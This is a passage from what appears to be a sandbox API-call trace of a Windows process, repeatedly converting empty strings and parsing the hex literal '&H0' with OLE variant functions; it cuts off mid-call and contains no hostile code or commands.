[0062.213] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.213] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.213] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.214] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.214] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.214] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.214] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.214] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.215] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.215] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.215] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.215] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.216] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.216] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.216] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.216] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.217] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.217] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.217] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.217] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.218] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.218] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.218] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.218] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.219] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.219] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.219] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.219] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.220] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.220] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.220] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.220] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.221] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.221] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.221] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.221] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.222] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.222] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.222] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.222] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.223] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.223] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.223] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.223] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.224] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.224] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.224] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.224] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) 